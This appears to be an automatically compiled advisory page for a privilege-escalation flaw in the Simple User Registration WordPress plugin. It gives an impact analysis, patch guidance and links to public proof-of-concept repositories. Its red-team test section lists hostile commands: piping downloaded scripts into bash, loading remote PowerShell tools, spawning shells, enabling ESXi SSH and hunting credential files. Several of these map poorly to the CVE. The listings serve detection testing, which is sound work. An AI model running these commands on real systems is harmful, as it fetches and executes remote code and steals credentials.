CVE-2025-4334
Overview
This vulnerability is a privilege escalation flaw caused by insufficient validation and restrictions on user meta values during the registration process in the Simple User Registration WordPress plugin. The affected component is the user registration functionality, which improperly allows untrusted input to modify user roles or capabilities. This lack of access control on user meta data manipulation enables unauthorized privilege assignment within the plugin versions up to and including 6.3.
Vulnerability Description
The Simple User Registration plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3. This is due to insufficient restrictions on user meta values that can be supplied during registration. This makes it possible for unauthenticated attackers to register as an administrator.
Impact
An unauthenticated attacker can exploit this vulnerability to create a new user account with administrative privileges, granting full control over the WordPress site. No prior authentication or user interaction is required, and the attack is remotely executable over the network. This leads to complete site compromise, including data exfiltration, content manipulation, and potential pivoting within the hosting environment. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the ease of exploitation without privileges or user interaction.
Solution
Users of the Simple User Registration WordPress plugin should upgrade to a version later than 6.3 where this vulnerability is patched. The fix is documented in the WordPress plugin repository changeset 3327946 and detailed in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/c211e0c0-3086-43d2-853c-489f9c42b0ab. Applying this update removes the improper user meta validation, preventing unauthorized privilege escalation. No additional workarounds are recommended by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Simple User Registration plugin for WordPress stems from inadequate validation of user meta values during the registration process. This oversight allows unauthenticated users to manipulate the registration parameters, specifically by altering their assigned roles. In this case, an attacker can register as an administrator, gaining elevated privileges that should be reserved for legitimate users. The flaw is particularly critical as it affects all versions of the plugin up to and including version 6.3, making a significant number of installations susceptible to exploitation. The lack of proper access controls and validation mechanisms in the registration process highlights a fundamental weakness in the plugin's design.
Exploitation of this vulnerability can occur through various attack vectors. An attacker can simply create a new user account by submitting a registration form with manipulated input fields. By injecting specific values into the user meta fields, the attacker can elevate their privileges to that of an administrator without any prior authentication. This attack can be executed remotely, requiring no sophisticated techniques or insider knowledge, making it accessible to a wide range of malicious actors. Once the attacker successfully registers as an administrator, they can gain full control over the WordPress site, including the ability to modify content, install additional malicious plugins, or even exfiltrate sensitive data.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on WordPress for their online presence. An attacker with administrative privileges can compromise the integrity of the website, leading to potential data breaches, loss of customer trust, and significant financial repercussions. The ability to manipulate site content and user data can also result in reputational damage, especially if sensitive customer information is exposed or if the site is used to distribute malicious content. Furthermore, the presence of such a vulnerability can lead to compliance issues with data protection regulations, resulting in fines and legal liabilities for organizations that fail to protect their users' data.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments can help identify outdated plugins and misconfigurations within the WordPress environment. Additionally, employing web application firewalls (WAFs) can provide an additional layer of security by filtering out malicious requests before they reach the application. It is also crucial to keep the Simple User Registration plugin, along with all other plugins and themes, updated to their latest versions, as developers often release patches to address known vulnerabilities. Furthermore, organizations should enforce the principle of least privilege, ensuring that users are assigned only the roles necessary for their functions, thereby minimizing the potential impact of any compromised accounts.
In conclusion, the privilege escalation vulnerability in the Simple User Registration plugin poses a significant threat to WordPress installations, enabling unauthenticated attackers to gain administrative access. The implications of such an exploit can be devastating for businesses, leading to data breaches, loss of reputation, and financial losses. By adopting proactive detection and mitigation strategies, organizations can safeguard their WordPress environments against this and similar vulnerabilities, ensuring the security and integrity of their online operations.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Najeebmedia | Simple User Registration | All |
cpe:2.3:a:najeebmedia:simple_user_registration:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2025-4334
Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation
|
Nxploited | 7 | 3 | 2025-06-26 | View |
|
0xgh057r3c0n/CVE-2025-4334
Proof-of-concept exploit for CVE-2025-4334, a privilege escalation vulnerability in the Simple User Registration WordPre...
|
0xgh057r3c0n | 4 | 0 | 2025-08-18 | View |
|
vinodwick/CVE-2025-4334
The Simple User Registration plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and inclu...
|
vinodwick | 1 | 0 | 2025-10-25 | View |
Threat Feed
2 eventsSighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-122 | Privilege Abuse |
30%
|
High | Medium | |
| CAPEC-233 | Privilege Escalation |
30%
|
— | — | |
| CAPEC-58 | Restful Privilege Elevation |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-4334 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/c211e0c0-3086-43d2-853c-489f9c42b0ab?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wp-registration/trunk/inc/classes/class.register.php#L135 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3327946/ |